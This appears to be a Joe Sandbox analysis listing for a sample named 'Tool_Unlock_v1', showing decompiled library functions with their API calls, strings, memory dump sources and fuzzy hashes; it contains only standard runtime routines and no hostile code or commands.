Opcode Fuzzy Hash: eee7f8a8c4f2ac0dd3ed3ef95e69c6ddd813a63ae4d779d16ed92041091ba2cb
Instruction Fuzzy Hash: C1016231A40A59AFDB139F54DC0AFAEBBFCFB04B55F018525F811A6290DBB89900CA90

Function 0034D6EA Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0034D76F
__alloca_probe_16.LIBCMT ref: 0034D838
__freea.LIBCMT ref: 0034D89F

Part of subcall function 0034BF11: HeapAlloc.KERNEL32(00000000,00000018,00000000,?,0033A67D,00000018,?,00333D4A,00000018,00000000), ref: 0034BF43

__freea.LIBCMT ref: 0034D8B2
__freea.LIBCMT ref: 0034D8BF

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 1096550386-0
Opcode ID: 8c371ba59dd21edab0dce920fd6308e178e30eda50afbe0a709e314818813ba0
Instruction ID: 8fc7c62624048001727b4267ad8d28a38c882a969f8983f2aefcb412ee7dbc18
Opcode Fuzzy Hash: 8c371ba59dd21edab0dce920fd6308e178e30eda50afbe0a709e314818813ba0
Instruction Fuzzy Hash: 5F518172A00206AFEB235F61CC81EBB7BE9EF45750F160529FD24DE251EB70EC5096A0

Function 0033EFF1 Relevance: 7.6, APIs: 5, Instructions: 116threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 0033F005
AcquireSRWLockExclusive.KERNEL32(00338E38), ref: 0033F024
AcquireSRWLockExclusive.KERNEL32(00338E38,0033A2F0,?), ref: 0033F052
TryAcquireSRWLockExclusive.KERNEL32(00338E38,0033A2F0,?), ref: 0033F0AD
TryAcquireSRWLockExclusive.KERNEL32(00338E38,0033A2F0,?), ref: 0033F0C4

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: AcquireExclusiveLock$CurrentThread
String ID:
API String ID: 66001078-0
Opcode ID: f4f8cbe99150a38b23a1ff369d7fa55c5b2e1aec981d42b5f088b05724138fa1
Instruction ID: e8d7f7c06e4116a88ed61ac78f7279ca7c98a5c8bd54913dc465a9bb85fdd268
Opcode Fuzzy Hash: f4f8cbe99150a38b23a1ff369d7fa55c5b2e1aec981d42b5f088b05724138fa1
Instruction Fuzzy Hash: 66416871D00A06DFCB2ACF69C4C196AB3B8FF04311F91893AE456D7A52D734E984CB51

Function 0033D4C2 Relevance: 7.5, APIs: 5, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0033D4C9
std::_Lockit::_Lockit.LIBCPMT ref: 0033D4D3
int.LIBCPMT ref: 0033D4EA

Part of subcall function 0033C1E5: std::_Lockit::_Lockit.LIBCPMT ref: 0033C1F6
Part of subcall function 0033C1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 0033C210

codecvt.LIBCPMT ref: 0033D50D
std::_Lockit::~_Lockit.LIBCPMT ref: 0033D544

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3codecvt
String ID:
API String ID: 3716348337-0
Opcode ID: 4bf0eaae342d1b435b6452234658d0fe00ec29c69d458224d30d768c1dbe6c07
Instruction ID: ca98a3cfa13864b087803eb7c4108022bf7f79b7dbf8f2a49a7cd22f99cf1427
Opcode Fuzzy Hash: 4bf0eaae342d1b435b6452234658d0fe00ec29c69d458224d30d768c1dbe6c07
Instruction Fuzzy Hash: 5A014531C001158FCB03FBA4D881ABEB7B5AF80324F154009F811AF292CFB48E00CB81

Function 0033ADD7 Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0033ADDE
std::_Lockit::_Lockit.LIBCPMT ref: 0033ADE9
std::_Lockit::~_Lockit.LIBCPMT ref: 0033AE57

Part of subcall function 0033ACAA: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0033ACC2

std::locale::_Setgloballocale.LIBCPMT ref: 0033AE04
_Yarn.LIBCPMT ref: 0033AE1A

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 4d4ba3a36c27a8199b704b4064551cf5dff15cd8cb8bb981a38e96eefd029972
Instruction ID: caa7757c51969031b3ca0318c9bb7a319e8d694ef996bd351b79af00193fad6a
Opcode Fuzzy Hash: 4d4ba3a36c27a8199b704b4064551cf5dff15cd8cb8bb981a38e96eefd029972
Instruction Fuzzy Hash: FB01BC75A00A609FCB07EB20D89297D77B5FF84750F059019E8425B392CF74AE42CB82

Function 00331750 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 390COMMON

Download Yara Rule

APIs

_strlen.LIBCMT ref: 00331783

Strings

ios_base::eofbit set, xrefs: 00331BEA
ios_base::failbit set, xrefs: 00331BEF
ios_base::badbit set, xrefs: 00331BFA, 00331C20

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: _strlen
String ID: ios_base::badbit set$ios_base::eofbit set$ios_base::failbit set
API String ID: 4218353326-1866435925
Opcode ID: e94a4aa34bc274abfed05cbbb8a814e3545fac4539773aa79317174063147a47
Instruction ID: 80742caf4d0740644d19ff2a52a28af25eef52c402e87d3e23fd137cd10b9717
Opcode Fuzzy Hash: e94a4aa34bc274abfed05cbbb8a814e3545fac4539773aa79317174063147a47
Instruction Fuzzy Hash: C6F17D75A006148FCB19CF68C4D4BADBBF1FF88324F198269E815AB3A1D774AD45CB90

Function 00350976 Relevance: 7.2, APIs: 2, Strings: 2, Instructions: 191COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0034C16A: GetLastError.KERNEL32(00000000,?,0034E58D), ref: 0034C16E
Part of subcall function 0034C16A: SetLastError.KERNEL32(00000000,?,?,00000028,00348363), ref: 0034C210

GetACP.KERNEL32(-00000002,00000000,?,00000000,00000000,?,00345BD5,?,?,?,00000055,?,-00000050,?,?,?), ref: 00350A35
IsValidCodePage.KERNEL32(00000000,-00000002,00000000,?,00000000,00000000,?,00345BD5,?,?,?,00000055,?,-00000050,?,?), ref: 00350A6C

Strings

,K6, xrefs: 003509E9
utf8, xrefs: 00350B3E

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: ErrorLast$CodePageValid
String ID: ,K6$utf8
API String ID: 943130320-2133393434
Opcode ID: a612c5f720cbe2215ea876a2b138ed1ff3045cfe198515bbed9d320331f66f21
Instruction ID: e1532a587b5daac2184a1ca82e6cd43bbf2d0c795278266d92d927e2f1453a2f
Opcode Fuzzy Hash: a612c5f720cbe2215ea876a2b138ed1ff3045cfe198515bbed9d320331f66f21
Instruction Fuzzy Hash: 3F510A31600705AADB2FAB71CC82FBA73A8EF05706F154429FD459B1A1F772E94887A1

Function 003373E0 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

Concurrency::details::_Release_chore.LIBCPMT ref: 00337526
___std_exception_copy.LIBVCRUNTIME ref: 00337561

Part of subcall function 0033AF37: CreateThreadpoolWork.KERNEL32(0033B060,00338A2A,00000000), ref: 0033AF46
Part of subcall function 0033AF37: Concurrency::details::_Reschedule_chore.LIBCPMT ref: 0033AF53

Strings

Fail to schedule the chore!, xrefs: 00337560
G.6, xrefs: 00337551

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Concurrency::details::_$CreateRelease_choreReschedule_choreThreadpoolWork___std_exception_copy
String ID: Fail to schedule the chore!$G.6
API String ID: 3683891980-387934260
Opcode ID: 825dfc21c0dcb32fee8afe52a534ec6a0a8de6eb86be9cd5183090036fd29577
Instruction ID: 3246feff0a87a6d70e8e0a66fb036a0e4ca738cdd2421ff9133e81a6633a1166
Opcode Fuzzy Hash: 825dfc21c0dcb32fee8afe52a534ec6a0a8de6eb86be9cd5183090036fd29577
Instruction Fuzzy Hash: 2851AAF49006089FCB16DF94DC85BAEBBB4FF08324F144129E819AB391D779AA05CF91

Function 00333E90 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 109COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00333EC6
std::_Lockit::~_Lockit.LIBCPMT ref: 00334002

Part of subcall function 0033ABC5: _Yarn.LIBCPMT ref: 0033ABE5
Part of subcall function 0033ABC5: _Yarn.LIBCPMT ref: 0033AC09

Strings

bad locale name, xrefs: 00333F46
|=3e.6, xrefs: 00333E9B, 00333F1F

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: LockitYarnstd::_$Lockit::_Lockit::~_
String ID: bad locale name$|=3e.6
API String ID: 2070049627-148301218
Opcode ID: 0f72b60b5ff52ede61e91a90eb1f65c5bf41bd6912851045c76c865cd4eed58a
Instruction ID: 362b3a45e177d703297e1931d9297790b3567494289642fc0810173d3625887c
Opcode Fuzzy Hash: 0f72b60b5ff52ede61e91a90eb1f65c5bf41bd6912851045c76c865cd4eed58a
Instruction Fuzzy Hash: A8418EF0A007459BEB11DF69C845B17BBF8BF04714F044629E4499B780E3BAE518CBE2

Function 0033B755 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 73COMMON

Download Yara Rule

APIs

std::_Ref_count_base::_Decref.LIBCPMT ref: 0033B809

Strings

MOC, xrefs: 0033B789
csm, xrefs: 0033B7A1
RCC, xrefs: 0033B795

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: DecrefRef_count_base::_std::_
String ID: MOC$RCC$csm
API String ID: 1456557076-2671469338
Opcode ID: f5f4a2775393195b75ab2ebd2672770eb55a076f67a8ad112cd73dc7077a5c7f
Instruction ID: 579576caa72da8ff0c958db898dae0e1f78150f28ca8b821f131ed5280ce41c2
Opcode Fuzzy Hash: f5f4a2775393195b75ab2ebd2672770eb55a076f67a8ad112cd73dc7077a5c7f
Instruction Fuzzy Hash: 9D21C235900649DFCF2A9F94C8D5B6AF7ACEF40720F15452EE6528FA90DB34AA40CB91

Function 0033F11D Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 33threadCOMMON

Download Yara Rule

APIs

WaitForSingleObjectEx.KERNEL32(?,000000FF,00000000,?,?,?,0033253A,?,?,00000000), ref: 0033F129
GetExitCodeThread.KERNEL32(?,00000000,?,?,0033253A,?,?,00000000), ref: 0033F142
CloseHandle.KERNEL32(?,?,?,0033253A,?,?,00000000), ref: 0033F154

Strings

:%3, xrefs: 0033F134

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: CloseCodeExitHandleObjectSingleThreadWait
String ID: :%3
API String ID: 2551024706-2174617765
Opcode ID: b5f5ed2383786863cbdfa3d5e8ab7eb36589652d8f0ae01feb7fd880f6dcdd13
Instruction ID: 43297277fa4f4fed360b4679ce0fb6f0f1e336d7dd14328725803dadd866d3e7
Opcode Fuzzy Hash: b5f5ed2383786863cbdfa3d5e8ab7eb36589652d8f0ae01feb7fd880f6dcdd13
Instruction Fuzzy Hash: 8AF08271A54114EFDF128F24EC46AAA3B68EB01BB0F644320FC21EA2E0E770DE408680

Function 0033ABC5 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32COMMONLIBRARYCODE

Download Yara Rule

APIs

_Yarn.LIBCPMT ref: 0033ABE5
_Yarn.LIBCPMT ref: 0033AC09

Strings

e.6, xrefs: 0033ABD9
|=3e.6, xrefs: 0033ABC8

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Yarn
String ID: e.6$|=3e.6
API String ID: 1767336200-2873739962
Opcode ID: 52e5f605d340fa66744e560ac3347679bb85c5e597e974636bfd95e4374f0b87
Instruction ID: e4e2b4ef3f06d01d8a9ba03baa65cbee095a838907a57553c5cb4c5cd4a73770
Opcode Fuzzy Hash: 52e5f605d340fa66744e560ac3347679bb85c5e597e974636bfd95e4374f0b87
Instruction Fuzzy Hash: C0E06D323487006FEB0EBA65AC92BB777DCCB04B60F10402EF98ACE5C1ED10BC004655

Function 00356940 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,003569DC,00000000,?,0036D2B0,?,?,?,00356913,00000004,InitializeCriticalSectionEx,00360D34,00360D3C), ref: 0035694D
GetLastError.KERNEL32(?,003569DC,00000000,?,0036D2B0,?,?,?,00356913,00000004,InitializeCriticalSectionEx,00360D34,00360D3C,00000000,?,0034BBBC), ref: 00356957
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0035697F

Strings

api-ms-, xrefs: 00356964

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 10198cc7353daa827a6c5a958eee4af044677eda1cea182d7be12c7221c9bc2f
Instruction ID: b9cebb90a788fed5f3bcbe5ee4c7777c0b7c59d42d952d6c5e51ae00f4afbdc0
Opcode Fuzzy Hash: 10198cc7353daa827a6c5a958eee4af044677eda1cea182d7be12c7221c9bc2f
Instruction Fuzzy Hash: F9E01230384204B7DF121B60DC07F5C7A599B40B92F544420FD4CAC4F1D7B1DC549994

Function 00353F9E Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(BB40E64E,00000000,00000000,?), ref: 00354001

Part of subcall function 0034C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0034D895,?,00000000,-00000008), ref: 0034C082

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00354253
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00354299
GetLastError.KERNEL32 ref: 0035433C

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 056b047b3eb01bfeb7708fd7ebf82e1d03fda5ca1a1dded9455dfe2684f83f94
Instruction ID: 5ddc03db2cae5ea37627efb93874d3b87f1b101c47e7ad12c108341c0f6faa0e
Opcode Fuzzy Hash: 056b047b3eb01bfeb7708fd7ebf82e1d03fda5ca1a1dded9455dfe2684f83f94
Instruction Fuzzy Hash: D5D18F75D002589FCF1ACFE8D8809EDBBB9FF09318F24452AE855EB361D630A985CB50

Function 0034B295 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0034B35C
___AdjustPointer.LIBCMT ref: 0034B37F
___AdjustPointer.LIBCMT ref: 0034B41B

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 64947e6d55f83ed5b929e9f3b26392734aa3f7646b112010641617eb2c7b82ef
Instruction ID: 1ae271547fe3400cc54edfa26a79d52c9a3c4ae7cf8d3904ff9d9990f0d5c571
Opcode Fuzzy Hash: 64947e6d55f83ed5b929e9f3b26392734aa3f7646b112010641617eb2c7b82ef
Instruction Fuzzy Hash: C551E17AA04602AFDB2B8F52C891BAAF7E4EF04710F15442DE9465E2A1D731FD50DB90

Function 00337220 Relevance: 6.1, APIs: 4, Instructions: 129threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 003372C5
std::_Throw_Cpp_error.LIBCPMT ref: 00337395
std::_Throw_Cpp_error.LIBCPMT ref: 003373A3
std::_Throw_Cpp_error.LIBCPMT ref: 003373B1

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Cpp_errorThrow_std::_$CurrentThread
String ID:
API String ID: 2261580123-0
Opcode ID: 052ee5ae0fa25270c333d04cdcc61b227e06b760639dd892e7c1bd67b181df42
Instruction ID: 6318b6dfcf4f26365d1e4052bc3c86a8bed3e8570eb97ddea6a8c59c34e510fe
Opcode Fuzzy Hash: 052ee5ae0fa25270c333d04cdcc61b227e06b760639dd892e7c1bd67b181df42
Instruction Fuzzy Hash: B241E4F59047099BDB32EB64C8C17ABB7A8BF44330F154639E8564B691EB34E814CBD1

Function 00334460 Relevance: 6.1, APIs: 4, Instructions: 112COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00334495
std::_Lockit::_Lockit.LIBCPMT ref: 003344B2
std::_Lockit::~_Lockit.LIBCPMT ref: 003344D3
std::_Lockit::~_Lockit.LIBCPMT ref: 00334580

Memory Dump Source

Source File: 00000003.00000002.3278883961.0000000000331000.00000020.00000001.01000000.00000003.sdmp, Offset: 00330000, based on PE: true

Associated: 00000003.00000002.3278804718.0000000000330000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3278962090.000000000035D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279045086.000000000036A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279113518.000000000036F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279196720.0000000000372000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.3279404380.00000000003E3000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_330000_Tool_Unlock_v1.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: afcfbb0f95c7e92f75bcf7435b3155c6d9704271788883063a4d30f6dcfaed66
Instruction ID: d75516b9fac3c9ab22e5fcb8f8359d13d9a976b010a49d7c8ebd934ad3ea847e
Opcode Fuzzy Hash: afcfbb0f95c7e92f75bcf7435b3155c6d9704271788883063a4d30f6dcfaed66
